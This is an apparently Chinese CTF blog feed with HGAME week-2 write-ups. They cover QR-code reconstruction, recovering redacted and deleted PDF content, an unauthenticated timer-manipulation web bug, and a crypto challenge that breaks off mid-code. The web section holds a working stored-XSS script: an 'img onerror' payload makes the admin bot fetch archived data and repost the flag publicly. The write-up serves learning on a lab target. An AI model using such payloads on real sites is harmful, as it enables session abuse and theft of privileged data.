number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b14 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b18 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b19 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b15 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b20 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b21 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    b16 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b12 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b24 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">]</span>    b25 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">]</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> b2<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> b6<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">7</span><span class="token punctuation">,</span> b7<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">8</span><span class="token punctuation">,</span> b8<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">9</span><span class="token punctuation">,</span> b9<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">,</span> b10<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> b11<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">,</span> b13<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span> b14<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">12</span><span class="token punctuation">,</span> b12<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">18</span><span class="token punctuation">,</span> b18<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">19</span><span class="token punctuation">,</span> b19<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">15</span><span class="token punctuation">,</span> b15<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">20</span><span class="token punctuation">,</span> b20<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">21</span><span class="token punctuation">,</span> b21<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">,</span> b16<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">24</span><span class="token punctuation">,</span> b24<span class="token punctuation">)</span>    apply_block<span class="token punctuation">(</span>m<span class="token punctuation">,</span> <span class="token number">25</span><span class="token punctuation">,</span> b25<span class="token punctuation">)</span>    out <span class="token operator">=</span> os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>abspath<span class="token punctuation">(</span>os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>join<span class="token punctuation">(</span>os<span class="token punctuation">.</span>path<span class="token punctuation">.</span>dirname<span class="token punctuation">(</span>__file__<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token string">"qr_recon.png"</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    save_png<span class="token punctuation">(</span>m<span class="token punctuation">,</span> out<span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    main<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>得到flag。</p>]]>
    </content>
    <id>https://dodor.top/2026/02/21/DODOR-000a01-WEEK2-WP/</id>
    <link href="https://dodor.top/2026/02/21/DODOR-000a01-WEEK2-WP/"/>
    <published>2026-02-21T08:52:01.000Z</published>
    <summary>
      <![CDATA[<div class="excerpt-box">Misc: Invest on Matrix 解锁hint1就知道是一个version2的二维码，剩下的就是不断解锁补全直到可以通过纠错识别出来，这是基础结构，我们优先补全右下角再逐渐保持中心完整，最后脚本如下： 得到flag。…</div>]]>
    </summary>
    <title>DODOR#000a01-WEEK2-WP</title>
    <updated>2026-08-30T07:27:29.571Z</updated>
  </entry>
  <entry>
    <author>
      <name>DODOR</name>
    </author>
    <category term="CTF" scheme="https://dodor.top/categories/CTF/"/>
    <category term="CTF" scheme="https://dodor.top/tags/CTF/"/>
    <content>
      <![CDATA[<h2 id="misc"><a href="#misc" class="headerlink" title="misc:"></a>misc:</h2><h3 id="REDACTED"><a href="#REDACTED" class="headerlink" title="[REDACTED]"></a>[REDACTED]</h3><p>题目为（涂黑，修改）过后的一个pdf，我们可以在第一个涂黑位置找到第一段敏感字符串，直接通过文字编辑功能将颜色改为白色再复制出来得到第一个字符串<strong>1:PAR4D0X</strong>。(<img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-08%20203633.png" alt="屏幕截图 2026-02-08 203633"></p><p>然后在第二个涂黑的位置在文字编辑的模式下可以看到以下内容<img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-03%20165813.png"></p><p>因为字体原因无法直接复制，选着直接图像识别。三段经典JWT，第一段是加密方式，第二段为内容，第三段为签名，经过base64解码得出第二个字符串<strong>2:AllCl3arToPr0ceed</strong></p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-03%20170152.png"></p><p>随后在图片位置有处涂黑，拉对比度和亮度识别出第三个字符串<strong>3:Sh4m1R</strong></p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-03%20170751.png"></p><p>最后在检查pdf的文件结构时发现其尾部有2个%EOF为结尾，可知为pdf的增量更新，第四个字符藏在旧版本被删掉的那一页里。</p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-05%20171658.png"></p><p>我们现在要做的就是将那删掉的一页恢复，也就是定位到第一个%EOF的位置对pdf进行切片，通过grep找到%EOF的位置。<img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-05%20200000.png"></p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-08%20205415.png"></p><p>计算%EOF的代码如下</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"manual.pdf"</span><span class="token punctuation">,</span> <span class="token string">"rb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f_in<span class="token punctuation">:</span>    <span class="token builtin">file</span> <span class="token operator">=</span> f_in<span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token keyword">with</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"manual_old.pdf"</span><span class="token punctuation">,</span> <span class="token string">"wb"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f_out<span class="token punctuation">:</span>    f_out<span class="token punctuation">.</span>write<span class="token punctuation">(</span><span class="token builtin">file</span><span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token number">234721</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>打开manual_old.pdf</p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-05%20180535.png"></p><p>找到第四段字符串<strong>4:D0cR3qu3st3r_Tutu</strong>,最后连接得到flag。</p><h2 id="web"><a href="#web" class="headerlink" title="web"></a>web</h2><h3 id="魔理沙的魔法目录"><a href="#魔理沙的魔法目录" class="headerlink" title="魔理沙的魔法目录"></a>魔理沙的魔法目录</h3><p><img src="/imgs/hgame/image-20260208210404239.png" alt="image-20260208210404239"></p><p>用F12及网络保存日志可知，每过一定时长，服务器会发送一个record和一个check的请求，record请求荷载为{“time”:10}，而题目对身份没有做限制，可以直接对&#x2F;record用post的application&#x2F;json传参{“time”:7200}(大于1小时)</p><p><img src="/imgs/hgame/screenshot-2026-02-02-112832.png"></p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-02%20112818.png"></p><p>最终访问&#x2F;check得到flag为：</p><p><img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-02%20112849.png"></p><h3 id="博丽神社的绘马挂"><a href="#博丽神社的绘马挂" class="headerlink" title="博丽神社的绘马挂"></a><strong>博丽神社的绘马挂</strong></h3><p>题目说明紫在归档完毕的绘马里藏了一些不可告人的秘密。分析前端代码及main.js。发现，题目没有对消息提交界面的content做过滤处理<img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/image-20260208211730847.png" alt="image-20260208211730847"></p><p>同时有&#x2F;api&#x2F;report可以让Reimu访问。由此得到本体为存储型XSS，但是普通用户看不到已归档的内容，所以接下来的思路就是通过XSS漏洞让管理员在已归档的文档中找到flag，并通过&#x2F;api&#x2F;message发出来，这样普通用户就能看到了。按照以上思路构造payload，写脚本如下：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> re<span class="token keyword">import</span> time<span class="token keyword">import</span> string<span class="token keyword">import</span> requestssite <span class="token operator">=</span> <span class="token string">"http://local-2.hgame.vidar.club:31464"</span><span class="token keyword">def</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    s <span class="token operator">=</span> requests<span class="token punctuation">.</span>Session<span class="token punctuation">(</span><span class="token punctuation">)</span>    user <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f"admin"</span></span>    pw <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f"123456"</span></span>    r <span class="token operator">=</span> s<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>site<span class="token punctuation">&#125;</span></span><span class="token string">/api/auth/login"</span></span><span class="token punctuation">,</span> json<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">"username"</span><span class="token punctuation">:</span> user<span class="token punctuation">,</span> <span class="token string">"password"</span><span class="token punctuation">:</span> pw<span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    js <span class="token operator">=</span> <span class="token triple-quoted-string string">"""(async()=>&#123;  try&#123;    const a = await fetch('/api/archives').then(r=>r.json());    const m = JSON.stringify(a).match(/Hgame\&#123;[^&#125;]+\&#125;/);    if(m)&#123;      await fetch('/api/messages', &#123;        method: 'POST',        headers: &#123;'Content-Type':'application/json'&#125;,        body: JSON.stringify(&#123;content: m, is_private: false&#125;)      &#125;);    &#125;  &#125;catch(e)&#123;&#125;&#125;)();"""</span><span class="token punctuation">.</span>strip<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>replace<span class="token punctuation">(</span><span class="token string">"\n"</span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span><span class="token comment">#让Reimu访问归档页面获取flag再返回到提交message</span>    payload <span class="token operator">=</span> <span class="token string-interpolation"><span class="token string">f"&lt;img src=x onerror=\"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>js<span class="token punctuation">&#125;</span></span><span class="token string">\">"</span></span>    r <span class="token operator">=</span> s<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>site<span class="token punctuation">&#125;</span></span><span class="token string">/api/messages"</span></span><span class="token punctuation">,</span> json<span class="token operator">=</span><span class="token punctuation">&#123;</span><span class="token string">"content"</span><span class="token punctuation">:</span> payload<span class="token punctuation">,</span> <span class="token string">"is_private"</span><span class="token punctuation">:</span> <span class="token boolean">False</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">if</span> r<span class="token punctuation">.</span>status_code <span class="token operator">!=</span> <span class="token number">200</span><span class="token punctuation">:</span>        <span class="token keyword">raise</span> SystemExit<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"post failed: </span><span class="token interpolation"><span class="token punctuation">&#123;</span>r<span class="token punctuation">.</span>status_code<span class="token punctuation">&#125;</span></span><span class="token string"> </span><span class="token interpolation"><span class="token punctuation">&#123;</span>r<span class="token punctuation">.</span>text<span class="token punctuation">&#125;</span></span><span class="token string">"</span></span><span class="token punctuation">)</span>        <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">try</span><span class="token punctuation">:</span>            s<span class="token punctuation">.</span>post<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>site<span class="token punctuation">&#125;</span></span><span class="token string">/api/report"</span></span><span class="token punctuation">,</span> timeout<span class="token operator">=</span><span class="token number">8</span><span class="token punctuation">)</span>            <span class="token keyword">break</span>        <span class="token keyword">except</span> Exception<span class="token punctuation">:</span>            time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    <span class="token keyword">for</span> i <span class="token keyword">in</span> <span class="token builtin">range</span><span class="token punctuation">(</span><span class="token number">60</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        r <span class="token operator">=</span> s<span class="token punctuation">.</span>get<span class="token punctuation">(</span><span class="token string-interpolation"><span class="token string">f"</span><span class="token interpolation"><span class="token punctuation">&#123;</span>site<span class="token punctuation">&#125;</span></span><span class="token string">/api/messages"</span></span><span class="token punctuation">)</span>        <span class="token keyword">if</span> r<span class="token punctuation">.</span>status_code <span class="token operator">==</span> <span class="token number">200</span><span class="token punctuation">:</span>            m <span class="token operator">=</span> re<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">r"Hgame\&#123;[^&#125;]+\&#125;"</span><span class="token punctuation">,</span> r<span class="token punctuation">.</span>text<span class="token punctuation">)</span>            <span class="token keyword">if</span> m<span class="token punctuation">:</span>                <span class="token keyword">print</span><span class="token punctuation">(</span>m<span class="token punctuation">.</span>group<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span>                <span class="token keyword">return</span>        time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span>    <span class="token keyword">raise</span> SystemExit<span class="token punctuation">(</span><span class="token string">"fail"</span><span class="token punctuation">)</span><span class="token keyword">if</span> __name__ <span class="token operator">==</span> <span class="token string">"__main__"</span><span class="token punctuation">:</span>    main<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里用的上传漏洞是故意导致错误，让管理员自动执行onerror后的命令。</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span>img src<span class="token operator">=</span>x onerror<span class="token operator">=</span><span class="token string">"payload"</span><span class="token operator">></span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>最后得到flag<img src="https://raw.githubusercontent.com/DODOR-ddd/Image/main/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202026-02-06%20115538.png"></p><h2 id="crypto"><a href="#crypto" class="headerlink" title="crypto"></a>crypto</h2><h3 id="Flux"><a href="#Flux" class="headerlink" title="Flux"></a>Flux</h3><p>题目给出自定义二次同余递推类<code>Flux</code>和哈希函数<code>shash</code>的实现代码，运行后生成<code>data.txt</code>（包含<code>Flux</code>的4个连续输出值、260位素数模数<code>n</code>）。已知<code>shash</code>的密钥<code>key</code>位长小于70，目标是恢复<code>key</code>，并计算<code>shash(&quot;I get the key now!&quot;, key)</code>的十六进制结果，用<code>VIDAR{...}</code>包裹为flag。</p><p>EXP如下</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">import</span> ast<span class="token keyword">from</span> typing <span class="token keyword">import</span> Tuple<span class="token punctuation">,</span> Optional<span class="token keyword">def</span> <span class="token function">read_data</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token 